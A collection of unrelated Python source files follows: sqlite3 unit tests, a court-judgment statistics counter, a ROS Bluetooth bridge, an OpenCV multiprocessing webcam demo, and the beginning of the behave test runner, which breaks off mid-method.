self.assertEqual(row, None)
def test_fetchone_no_statement(self):
cur = self.cx.cursor()
row = cur.fetchone()
self.assertEqual(row, None)
def test_array_size(self):
# must default ot 1
self.assertEqual(self.cu.arraysize, 1)
# now set to 2
self.cu.arraysize = 2
# now make the query return 3 rows
self.cu.execute("delete from test")
self.cu.execute("insert into test(name) values ('A')")
self.cu.execute("insert into test(name) values ('B')")
self.cu.execute("insert into test(name) values ('C')")
self.cu.execute("select name from test")
res = self.cu.fetchmany()
self.assertEqual(len(res), 2)
def test_fetchmany(self):
self.cu.execute("select name from test")
res = self.cu.fetchmany(100)
self.assertEqual(len(res), 1)
res = self.cu.fetchmany(100)
self.assertEqual(res, [])
def test_fetchmany_kw_arg(self):
"""Checks if fetchmany works with keyword arguments"""
self.cu.execute("select name from test")
res = self.cu.fetchmany(size=100)
self.assertEqual(len(res), 1)
def test_fetchall(self):
self.cu.execute("select name from test")
res = self.cu.fetchall()
self.assertEqual(len(res), 1)
res = self.cu.fetchall()
self.assertEqual(res, [])
def test_setinputsizes(self):
self.cu.setinputsizes([3, 4, 5])
def test_setoutputsize(self):
self.cu.setoutputsize(5, 0)
def test_setoutputsize_no_column(self):
self.cu.setoutputsize(42)
def test_cursor_connection(self):
# Optional DB-API extension.
self.assertEqual(self.cu.connection, self.cx)
def test_wrong_cursor_callable(self):
with self.assertRaises(TypeError):
def f(): pass
cur = self.cx.cursor(f)
def test_cursor_wrong_class(self):
class Foo: pass
foo = Foo()
with self.assertRaises(TypeError):
cur = sqlite.Cursor(foo)
def test_last_row_id_on_replace(self):
"""
INSERT OR REPLACE and REPLACE INTO should produce the same behavior.
"""
sql = '{} INTO test(id, unique_test) VALUES (?, ?)'
for statement in ('INSERT OR REPLACE', 'REPLACE'):
with self.subTest(statement=statement):
self.cu.execute(sql.format(statement), (1, 'foo'))
self.assertEqual(self.cu.lastrowid, 1)
def test_last_row_id_on_ignore(self):
self.cu.execute(
"insert or ignore into test(unique_test) values (?)",
('test',))
self.assertEqual(self.cu.lastrowid, 2)
self.cu.execute(
"insert or ignore into test(unique_test) values (?)",
('test',))
self.assertEqual(self.cu.lastrowid, 2)
def test_last_row_id_insert_o_r(self):
results = []
for statement in ('FAIL', 'ABORT', 'ROLLBACK'):
sql = 'INSERT OR {} INTO test(unique_test) VALUES (?)'
with self.subTest(statement='INSERT OR {}'.format(statement)):
self.cu.execute(sql.format(statement), (statement,))
results.append((statement, self.cu.lastrowid))
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute(sql.format(statement), (statement,))
results.append((statement, self.cu.lastrowid))
expected = [
('FAIL', 2), ('FAIL', 2),
('ABORT', 3), ('ABORT', 3),
('ROLLBACK', 4), ('ROLLBACK', 4),
]
self.assertEqual(results, expected)
class ThreadTests(unittest.TestCase):
def setUp(self):
self.con = sqlite.connect(":memory:")
self.cur = self.con.cursor()
self.cur.execute("create table test(id integer primary key, name text, bin binary, ratio number, ts timestamp)")
def tearDown(self):
self.cur.close()
self.con.close()
def test_con_cursor(self):
def run(con, errors):
try:
cur = con.cursor()
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_con_commit(self):
def run(con, errors):
try:
con.commit()
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_con_rollback(self):
def run(con, errors):
try:
con.rollback()
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_con_close(self):
def run(con, errors):
try:
con.close()
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_cur_implicit_begin(self):
def run(cur, errors):
try:
cur.execute("insert into test(name) values ('a')")
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_cur_close(self):
def run(cur, errors):
try:
cur.close()
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_cur_execute(self):
def run(cur, errors):
try:
cur.execute("select name from test")
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
self.cur.execute("insert into test(name) values ('a')")
t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
def test_cur_iter_next(self):
def run(cur, errors):
try:
row = cur.fetchone()
errors.append("did not raise ProgrammingError")
return
except sqlite.ProgrammingError:
return
except:
errors.append("raised wrong exception")
errors = []
self.cur.execute("insert into test(name) values ('a')")
self.cur.execute("select name from test")
t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors})
t.start()
t.join()
if len(errors) > 0:
self.fail("\n".join(errors))
class ConstructorTests(unittest.TestCase):
def test_date(self):
d = sqlite.Date(2004, 10, 28)
def test_time(self):
t = sqlite.Time(12, 39, 35)
def test_timestamp(self):
ts = sqlite.Timestamp(2004, 10, 28, 12, 39, 35)
def test_date_from_ticks(self):
d = sqlite.DateFromTicks(42)
def test_time_from_ticks(self):
t = sqlite.TimeFromTicks(42)
def test_timestamp_from_ticks(self):
ts = sqlite.TimestampFromTicks(42)
def test_binary(self):
b = sqlite.Binary(b"\0'")
class ExtensionTests(unittest.TestCase):
def test_script_string_sql(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
cur.executescript("""
-- bla bla
/* a stupid comment */
create table a(i);
insert into a(i) values (5);
""")
cur.execute("select i from a")
res = cur.fetchone()[0]
self.assertEqual(res, 5)
def test_script_syntax_error(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(sqlite.OperationalError):
cur.executescript("create table test(x); asdf; create table test2(x)")
def test_script_error_normal(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(sqlite.OperationalError):
cur.executescript("create table test(sadfsadfdsa); select foo from hurz;")
def test_cursor_executescript_as_bytes(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(ValueError) as cm:
cur.executescript(b"create table test(foo); insert into test(foo) values (5);")
self.assertEqual(str(cm.exception), 'script argument must be unicode.')
def test_connection_execute(self):
con = sqlite.connect(":memory:")
result = con.execute("select 5").fetchone()[0]
self.assertEqual(result, 5, "Basic test of Connection.execute")
def test_connection_executemany(self):
con = sqlite.connect(":memory:")
con.execute("create table test(foo)")
con.executemany("insert into test(foo) values (?)", [(3,), (4,)])
result = con.execute("select foo from test order by foo").fetchall()
self.assertEqual(result[0][0], 3, "Basic test of Connection.executemany")
self.assertEqual(result[1][0], 4, "Basic test of Connection.executemany")
def test_connection_executescript(self):
con = sqlite.connect(":memory:")
con.executescript("create table test(foo); insert into test(foo) values (5);")
result = con.execute("select foo from test").fetchone()[0]
self.assertEqual(result, 5, "Basic test of Connection.executescript")
class ClosedConTests(unittest.TestCase):
def test_closed_con_cursor(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
cur = con.cursor()
def test_closed_con_commit(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con.commit()
def test_closed_con_rollback(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con.rollback()
def test_closed_cur_execute(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
con.close()
with self.assertRaises(sqlite.ProgrammingError):
cur.execute("select 4")
def test_closed_create_function(self):
con = sqlite.connect(":memory:")
con.close()
def f(x): return 17
with self.assertRaises(sqlite.ProgrammingError):
con.create_function("foo", 1, f)
def test_closed_create_aggregate(self):
con = sqlite.connect(":memory:")
con.close()
class Agg:
def __init__(self):
pass
def step(self, x):
pass
def finalize(self):
return 17
with self.assertRaises(sqlite.ProgrammingError):
con.create_aggregate("foo", 1, Agg)
def test_closed_set_authorizer(self):
con = sqlite.connect(":memory:")
con.close()
def authorizer(*args):
return sqlite.DENY
with self.assertRaises(sqlite.ProgrammingError):
con.set_authorizer(authorizer)
def test_closed_set_progress_callback(self):
con = sqlite.connect(":memory:")
con.close()
def progress(): pass
with self.assertRaises(sqlite.ProgrammingError):
con.set_progress_handler(progress, 100)
def test_closed_call(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con()
class ClosedCurTests(unittest.TestCase):
def test_closed(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
cur.close()
for method_name in ("execute", "executemany", "executescript", "fetchall", "fetchmany", "fetchone"):
if method_name in ("execute", "executescript"):
params = ("select 4 union select 5",)
elif method_name == "executemany":
params = ("insert into foo(bar) values (?)", [(3,), (4,)])
else:
params = []
with self.assertRaises(sqlite.ProgrammingError):
method = getattr(cur, method_name)
method(*params)
class SqliteOnConflictTests(unittest.TestCase):
"""
Tests for SQLite's "insert on conflict" feature.
See https://www.sqlite.org/lang_conflict.html for details.
"""
def setUp(self):
self.cx = sqlite.connect(":memory:")
self.cu = self.cx.cursor()
self.cu.execute("""
CREATE TABLE test(
id INTEGER PRIMARY KEY, name TEXT, unique_name TEXT UNIQUE
);
""")
def tearDown(self):
self.cu.close()
self.cx.close()
def test_on_conflict_rollback_with_explicit_transaction(self):
self.cx.isolation_level = None # autocommit mode
self.cu = self.cx.cursor()
# Start an explicit transaction.
self.cu.execute("BEGIN")
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
# Use connection to commit.
self.cx.commit()
self.cu.execute("SELECT name, unique_name from test")
# Transaction should have rolled back and nothing should be in table.
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_abort_raises_with_explicit_transactions(self):
# Abort cancels the current sql statement but doesn't change anything
# about the current transaction.
self.cx.isolation_level = None # autocommit mode
self.cu = self.cx.cursor()
# Start an explicit transaction.
self.cu.execute("BEGIN")
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
self.cx.commit()
self.cu.execute("SELECT name, unique_name FROM test")
# Expect the first two inserts to work, third to do nothing.
self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)])
def test_on_conflict_rollback_without_transaction(self):
# Start of implicit transaction
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
self.cu.execute("SELECT name, unique_name FROM test")
# Implicit transaction is rolled back on error.
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_abort_raises_without_transactions(self):
# Abort cancels the current sql statement but doesn't change anything
# about the current transaction.
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
# Make sure all other values were inserted.
self.cu.execute("SELECT name, unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)])
def test_on_conflict_fail(self):
self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')")
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_ignore(self):
self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')")
# Nothing should happen.
self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')")
self.cu.execute("SELECT unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('foo',)])
def test_on_conflict_replace(self):
self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Data!', 'foo')")
# There shouldn't be an IntegrityError exception.
self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Very different data!', 'foo')")
self.cu.execute("SELECT name, unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('Very different data!', 'foo')])
def suite():
tests = [
ClosedConTests,
ClosedCurTests,
ConnectionTests,
ConstructorTests,
CursorTests,
ExtensionTests,
ModuleTests,
SqliteOnConflictTests,
ThreadTests,
UninitialisedConnectionTests,
]
return unittest.TestSuite(
[unittest.TestLoader().loadTestsFromTestCase(t) for t in tests]
)
def test():
runner = unittest.TextTestRunner()
runner.run(suite())
if __name__ == "__main__":
test()
|
counter.py
|
# coding: UTF-8
import os
import json
import re
# in_path = r"D:\work\law_pre\test\in"
# out_path = r"D:\work\law_pre\test\out"
in_path = r"/disk/mysql/law_data/final_data"
out_path = r"/disk/mysql/law_data/count_data"
mid_text = u" _(:з」∠)_ "
title_list = ["docId", "caseNumber", "caseName", "spcx", "court", "time", "caseType", "bgkly", "yuanwen", "document",
"cause", "docType", "keyword", "lawyer", "punishment", "result", "judge"]
accusation_file = r"/home/zhx/law_pre/data_processor/accusation_list2.txt"
accusation_f = open(accusation_file, "r", encoding='utf8')
accusation_list = json.loads(accusation_f.readline())
# accusation_list = []
# for line in accusation_f:
# accusation_list.append(line[:-1])
num_file = 1
num_process = 1
total_cnt = 0
youqi_list = {}
juyi_list = {}
guanzhi_list = {}
wuqi_cnt = 0
sixing_cnt = 0
def gen_youqi(data):
ans = -1
for x in data:
if x > ans:
ans = x
return ans
def gen_juyi(data):
ans = -1
for x in data:
if x > ans:
ans = x
return ans
def gen_guanzhi(data):
ans = -1
for x in data:
if x > ans:
ans = x
return ans
def analyze_time(data):
if data == {}:
return
global youqi_list
global juyi_list
global guanzhi_list
global wuqi_cnt
global sixing_cnt
if data["sixing"]:
sixing_cnt += 1
return
if data["wuqi"]:
wuqi_cnt += 1
return
if len(data["youqi"]) != 0:
x = gen_youqi(data["youqi"])
if not (x in youqi_list):
youqi_list[x] = 0
youqi_list[x] += 1
return
if len(data["juyi"]) != 0:
x = gen_juyi(data["juyi"])
if not (x in juyi_list):
juyi_list[x] = 0
juyi_list[x] += 1
return
if len(data["guanzhi"]) != 0:
x = gen_guanzhi(data["guanzhi"])
if not (x in guanzhi_list):
guanzhi_list[x] = 0
guanzhi_list[x] += 1
return
money_list = {}
def gen_money(data):
ans = -1
for x in data:
if x > ans:
ans = x
return ans
def analyze_money(data):
if len(data) == 0:
return
global money_list
x = gen_money(data)
if not (x in money_list):
money_list[x] = 0
money_list[x] += 1
law_list = {}
law_list["only_name"] = {}
law_list["name_tiao"] = {}
law_list["name_tiao_kuan"] = {}
def analyze_law(data):
if len(data) == 0:
return
global law_list
for r in data:
x = r["law_name"]
y = r["tiao_num"]
z = r["kuan_num"]
if not (x in law_list["only_name"]):
law_list["only_name"][x] = 0
law_list["name_tiao"][x] = {}
law_list["name_tiao_kuan"][x] = {}
law_list["only_name"][x] += 1
if not (str(y) in law_list["name_tiao"][x]):
law_list["name_tiao"][x][str(y)] = 0
law_list["name_tiao"][x][str(y)] += 1
if not (str((y, z)) in law_list["name_tiao_kuan"][x]):
law_list["name_tiao_kuan"][x][str((y, z))] = 0
law_list["name_tiao_kuan"][x][str((y, z))] += 1
crit_list = []
for a in range(0, len(accusation_list)):
crit_list.append(0)
def analyze_crit(data):
if len(data) == 0:
return
global crit_list
for x in data:
for a in range(0, len(accusation_list)):
if x.replace("[", "").replace("]", "") == accusation_list[a].replace("[", "").replace("]", ""):
crit_list[a] += 1
break
def count(data):
global total_cnt
total_cnt += 1
analyze_time(data["term_of_imprisonment"])
analyze_money(data["punish_of_money"])
analyze_law(data["name_of_law"])
analyze_crit(data["name_of_accusation"])
def draw_out(in_path, out_path):
print(in_path)
inf = open(in_path, "r")
ouf = open(out_path, "w")
cnt = 0
for line in inf:
data = json.loads(line)
count(data["meta"])
cnt += 1
if cnt % 500000 == 0:
print(cnt)
def work(from_id, to_id):
for a in range(int(from_id), int(to_id)):
print(str(a) + " begin to work")
draw_out(os.path.join(in_path, str(a)), os.path.join(out_path, str(a)))
print(str(a) + " work done")
if __name__ == "__main__":
work(0, 20)
# import multiprocessing
# process_pool = []
# for a in range(0, num_process):
# process_pool.append(
# multiprocessing.Process(target=work, args=(a * num_file / num_process, (a + 1) * num_file / num_process)))
# for a in process_pool:
# a.start()
# for a in process_pool:
# a.join()
ouf = open("result/result.txt", "w")
data = {}
data["total"] = total_cnt
data["youqi"] = youqi_list
data["wuqi"] = wuqi_cnt
data["juyi"] = juyi_list
data["guanzhi"] = guanzhi_list
data["sixing"] = sixing_cnt
data["law"] = law_list
data["money"] = money_list
data["crit"] = crit_list
print(json.dumps(data), file=ouf)
|
bluetooth_comm.py
|
#!/usr/bin/python
import os
import signal
from bluetooth import *
import rospy
from std_msgs.msg import String
from threading import Thread
import time
import socket
global runThreads
runThreads = False
global theadStarted
threadStarted = False
rospy.init_node("bluetooth_comm")
pub1 = rospy.Publisher("blue_pull", String, queue_size=10)
#time.sleep(15)
global server_sock
server_sock=BluetoothSocket( RFCOMM )
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind(("",1))
server_sock.listen(1)
port = server_sock.getsockname()[1]
uuid = "94f39d29-7d6d-437d-973b-fba39e49d4ee"
advertise_service( server_sock, "SampleServer",
service_id = uuid,
service_classes = [ uuid, SERIAL_PORT_CLASS ],
profiles = [ SERIAL_PORT_PROFILE ],
# protocols = [ OBEX_UUID ]
)
# sends data to phone over bluetooth
def callback(data):
global client_sock
if runThreads:
if len(str(data)) != 0:
client_sock.send(data.data)
#client_sock.send(" aayyee ")
print("got something from node: %s" % data.data)
# listen to node and send to sock
def listen():
rospy.Subscriber("blue_push", String, callback)
rospy.spin()
# receive from sock and talk to node
def talk():
global runThreads, client_sock
while runThreads:
try:
data = client_sock.recv(1024)
if len(data) != 0:
print data
pub1.publish(data)
client_sock.send(data)
time.sleep(.5)
except IOError:
runThreads = False
print("Disconnected on talk")
print("Waiting for connection on RFCOMM channel %d" % port)
#global client_sock
client_sock, client_info = server_sock.accept()
print("Accepted connection from ", client_info)
runThreads = True
pass
def signal_handler(signal, frame):
print("Bluetooth closing gracefully")
global server_sock, client_sock
try:
server_sock.close()
except NameError:
print "server_sock not defined"
try:
client_sock.close()
except NameError:
print "client_sock not defined"
global runThreads
runTheads = False
os.kill(os.getpid(), 9)
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTSTP, signal_handler)
t1 = Thread(target=listen)
t2 = Thread(target=talk)
global client_sock
global client_info
#def main():
while not rospy.is_shutdown():
while not runThreads:
print("Waiting for connection on RFCOMM channel %d" % port)
#global client_sock
client_sock, client_info = server_sock.accept()
print("Accepted connection from ", client_info)
runThreads = True
print("Run Threads True")
try:
if threadStarted != True:
print("starting threads")
threadStarted = True
t1.start()
t2.start()
signal.pause()
print("yeah it gets here")
except IOError:
print("Disconnected from ", client_info)
runThreads = False
print("Run Threads False")
client_sock.close()
server_sock.close()
print("all done")
|
multiprocessing_pipe_opencv.py
|
import cv2
from timeit import timeit
from multiprocessing import Process, Pipe, Lock
import time
def caputarar_video(conn1_child,conn2_parent,l):
"""
Metodo que crea un proceso que captura el trafico de manera sincrona (Lock).
input:
conn1_child: conexion de la pipe entre hijos
conn2_parent: conexion de la pipe con el padre
l: objeto de tipo bloque, para bloquear el proceso y que sea sincrono
"""
l.acquire()
try:
cap = cv2.VideoCapture(0)
while(True):
ret, frame = cap.read()
#envio el video frame a frame y ret
conn1_child.send([ret, frame])
res_padre=conn2_parent.recv()
if(res_padre=='q'):
break
cap.release() #deja de ocupar los recurso de la webcam
except Exception as error:
print(error)
finally:
l.release()
def pintar_imagen(conn1_child,conn2_parent,l):
"""
Metodo que crea un proceso que pinta los frames con figuara de manera sincrona (Lock).
input:
conn1_child: conexion de la pipe entre hijos
conn2_parent: conexion de la pipe con el padre
l: objeto de tipo bloque, para bloquear el proceso y que sea sincrono
"""
l.acquire()
try:
while(True):
frame= conn1_child.recv()[1] #recibo de hijo los frames
imagen = cv2.rectangle(frame, (100, 100), (200, 200), (255, 0, 0), 2)
#envio al padre el frame ya pintado
conn2_parent.send(imagen)
res_padre=conn2_parent.recv()
if(res_padre=='q'):
break
except Exception as error:
print(error)
finally:
l.release()
if __name__ == '__main__':
"""
Main que crea al proceso padre, muestra las imagenes. Gesiona el inicio
y el final del los procesos. Se crean 3 tuberias: 1º tuberia es la comunicacion
entre porocesos hijos (pasa los frames a otro hijo) y las 2 restantes son la
comunicacion de cada hijo con el padre.
"""
#Pipes para la comunicación
child1_conn1, child2_conn1 = Pipe()
parent_conn2, child1_conn2 = Pipe()
parent_conn3, child2_conn3 = Pipe()
#semaforos para cada uno de los procesos
child1_lock = Lock()
child2_lock = Lock()
parent_lock= Lock()
#creo los procesos hijos y los incio
p1 = Process(target=caputarar_video, args=(child1_conn1, child1_conn2, child1_lock))
p2 = Process(target=pintar_imagen, args=(child2_conn1, child2_conn3, child2_lock))
p1.start()
p2.start()
parent_lock.acquire() #bloque el proceso con semaforo del padre
try:
while(True):
parent_conn2.send('r1')
parent_conn3.send('r2')
imagen= parent_conn3.recv()
# pinto el frame resultante en pantalla
cv2.imshow('webcam', imagen)
if cv2.waitKey(1) & 0xFF == ord('q'): #cv2.waitKey(1) una espera 1ms para pasar al sigueinte frame. Si pulso q exit
parent_conn2.send('q') #envia por la tuberia una q para terminar los procesos hijos
break
#termino los preocesos hijos
p1.terminate()
p2.terminate()
#espero a que finalicen los hijos
p1.join()
p2.join()
cv2.destroyAllWindows() #cierro el programa actual y libero memoria
except Exception as error:
print(error)
finally:
parent_lock.release() #desbloque el proceso con semaforo del padre
|
runner.py
|
# -*- coding: UTF-8 -*-
"""
This module provides Runner class to run behave feature files (or model elements).
"""
from __future__ import absolute_import, print_function, with_statement
import contextlib
import logging
import re
import os
import os.path
import sys
import warnings
import weakref
import time
import collections
import six
from behave._types import ExceptionUtil
from behave.capture import CaptureController
from behave.configuration import ConfigError
from behave.formatter._registry import make_formatters
from behave.log_capture import LoggingCapture
from behave.runner_util import \
collect_feature_locations, parse_features, \
exec_file, load_step_modules, PathManager
from behave.step_registry import registry as the_step_registry
from behave.model_core import Status
if six.PY2:
# -- USE PYTHON3 BACKPORT: With unicode traceback support.
import traceback2 as traceback
else:
import traceback
from behave.formatter.base import StreamOpener
multiprocessing = None
try:
import multiprocessing
except ImportError as e:
pass
try:
import StringIO # py2
except ImportError:
import io as StringIO
class CleanupError(RuntimeError):
pass
class ContextMaskWarning(UserWarning):
"""Raised if a context variable is being overwritten in some situations.
If the variable was originally set by user code then this will be raised if
*behave* overwites the value.
If the variable was originally set by *behave* then this will be raised if
user code overwites the value.
"""
pass
class Context(object):
"""Hold contextual information during the running of tests.
This object is a place to store information related to the tests you're
running. You may add arbitrary attributes to it of whatever value you need.
During the running of your tests the object will have additional layers of
namespace added and removed automatically. There is a "root" namespace and
additional namespaces for features and scenarios.
Certain names are used by *behave*; be wary of using them yourself as
*behave* may overwrite the value you set. These names are:
.. attribute:: feature
This is set when we start testing a new feature and holds a
:class:`~behave.model.Feature`. It will not be present outside of a
feature (i.e. within the scope of the environment before_all and
after_all).
.. attribute:: scenario
This is set when we start testing a new scenario (including the
individual scenarios of a scenario outline) and holds a
:class:`~behave.model.Scenario`. It will not be present outside of the
scope of a scenario.
.. attribute:: tags
The current set of active tags (as a Python set containing instances of
:class:`~behave.model.Tag` which are basically just glorified strings)
combined from the feature and scenario. This attribute will not be
present outside of a feature scope.
.. attribute:: aborted
This is set to true in the root namespace when the user aborts a test run
(:exc:`KeyboardInterrupt` exception). Initially: False.
.. attribute:: failed
This is set to true in the root namespace as soon as a step fails.
Initially: False.
.. attribute:: table
This is set at the step level and holds any :class:`~behave.model.Table`
associated with the step.
.. attribute:: text
This is set at the step level and holds any multiline text associated
with the step.
.. attribute:: config
The configuration of *behave* as determined by configuration files and
command-line options. The attributes of this object are the same as the
`configuration file section names`_.
.. attribute:: active_outline
This is set for each scenario in a scenario outline and references the
:class:`~behave.model.Row` that is active for the current scenario. It is
present mostly for debugging, but may be useful otherwise.
.. attribute:: log_capture
If logging capture is enabled then this attribute contains the captured
logging as an instance of :class:`~behave.log_capture.LoggingCapture`.
It is not present if logging is not being captured.
.. attribute:: stdout_capture
If stdout capture is enabled then this attribute contains the captured
output as a StringIO instance. It is not present if stdout is not being
captured.
.. attribute:: stderr_capture
If stderr capture is enabled then this attribute contains the captured
output as a StringIO instance. It is not present if stderr is not being
captured.
If an attempt made by user code to overwrite one of these variables, or
indeed by *behave* to overwite a user-set variable, then a
:class:`behave.runner.ContextMaskWarning` warning will be raised.
You may use the "in" operator to test whether a certain value has been set
on the context, for example:
"feature" in context
checks whether there is a "feature" value in the context.
Values may be deleted from the context using "del" but only at the level
they are set. You can't delete a value set by a feature at a scenario level
but you can delete a value set for a scenario in that scenario.
.. _`configuration file section names`: behave.html#configuration-files
"""
# pylint: disable=too-many-instance-attributes
BEHAVE = "behave"
USER = "user"
FAIL_ON_CLEANUP_ERRORS = True
def __init__(self, runner):
self._runner = weakref.proxy(runner)
self._config = runner.config
d = self._root = {
"aborted": False,
"failed": False,
"config": self._config,
"active_outline": None,
"cleanup_errors": 0,
"@cleanups": [], # -- REQUIRED-BY: before_all() hook
"@layer": "testrun",
}
self._stack = [d]
self._record = {}
self._origin = {}
self._mode = self.BEHAVE
self.feature = None
# -- RECHECK: If needed
self.text = None
self.table = None
self.stdout_capture = None
self.stderr_capture = None
self.log_capture = None
self.fail_on_cleanup_errors = self.FAIL_ON_CLEANUP_ERRORS
@staticmethod
def ignore_cleanup_error(context, cleanup_func, exception):
pass
@staticmethod
def print_cleanup_error(context, cleanup_func, exception):
cleanup_func_name = getattr(cleanup_func, "__name__", None)
if not cleanup_func_name:
cleanup_func_name = "%r" % cleanup_func
print(u"CLEANUP-ERROR in %s: %s: %s" %
(cleanup_func_name, exception.__class__.__name__, exception))
traceback.print_exc(file=sys.stdout)
# MAYBE: context._dump(pretty=True, prefix="Context: ")
# -- MARK: testrun as FAILED
# context._set_root_attribute("failed", True)
def _do_cleanups(self):
"""Execute optional cleanup functions when stack frame is popped.
A user can add a user-specified handler for cleanup errors.
.. code-block:: python
# -- FILE: features/environment.py
def cleanup_database(database):
pass
def handle_cleanup_error(context, cleanup_func, exception):
pass
def before_all(context):
context.on_cleanup_error = handle_cleanup_error
context.add_cleanup(cleanup_database, the_database)
"""
# -- BEST-EFFORT ALGORITHM: Tries to perform all cleanups.
assert self._stack, "REQUIRE: Non-empty stack"
current_layer = self._stack[0]
cleanup_funcs = current_layer.get("@cleanups", [])
on_cleanup_error = getattr(self, "on_cleanup_error",
self.print_cleanup_error)
context = self
cleanup_errors = []
for cleanup_func in reversed(cleanup_funcs):
try:
cleanup_func()
except Exception as e: # pylint: disable=broad-except
# pylint: disable=protected-access
context._root["cleanup_errors"] += 1
cleanup_errors.append(sys.exc_info())
on_cleanup_error(context, cleanup_func, e)
if self.fail_on_cleanup_errors and cleanup_errors:
first_cleanup_erro_info = cleanup_errors[0]
del cleanup_errors # -- ENSURE: Release other exception frames.
six.reraise(*first_cleanup_erro_info)
def _push(self, layer_name=None):
"""Push a new layer on the context stack.
HINT: Use layer_name values: "scenario", "feature", "testrun".
:param layer_name: Layer name to use (or None).
"""
initial_data = {"@cleanups": []}
if layer_name:
initial_data["@layer"] = layer_name
self._stack.insert(0, initial_data)
def _pop(self):
"""Pop the current layer from the context stack.
Performs any pending cleanups, registered for this layer.
"""
try:
self._do_cleanups()
finally:
# -- ENSURE: Layer is removed even if cleanup-errors occur.
self._stack.pop(0)
def _use_with_behave_mode(self):
"""Provides a context manager for using the context in BEHAVE mode."""
return use_context_with_mode(self, Context.BEHAVE)
def use_with_user_mode(self):
"""Provides a context manager for using the context in USER mode."""
return use_context_with_mode(self, Context.USER)
def user_mode(self):
warnings.warn("Use 'use_with_user_mode()' instead",
PendingDeprecationWarning, stacklevel=2)
return self.use_with_user_mode()
def _set_root_attribute(self, attr, value):
for frame in self.__dict__["_stack"]:
if frame is self.__dict__["_root"]:
continue
if attr in frame:
record = self.__dict__["_record"][attr]
params = {
"attr": attr,
"filename": record[0],
"line": record[1],
"function": record[3],
}
self._emit_warning(attr, params)
self.__dict__["_root"][attr] = value
if attr not in self._origin:
self._origin[attr] = self._mode
def _emit_warning(self, attr, params):
msg = ""
if self._mode is self.BEHAVE and self._origin[attr] is not self.BEHAVE:
msg = "behave runner is masking context attribute '%(attr)s' " \
"originally set in %(function)s (%(filename)s:%(line)s)"
elif self._mode is self.USER:
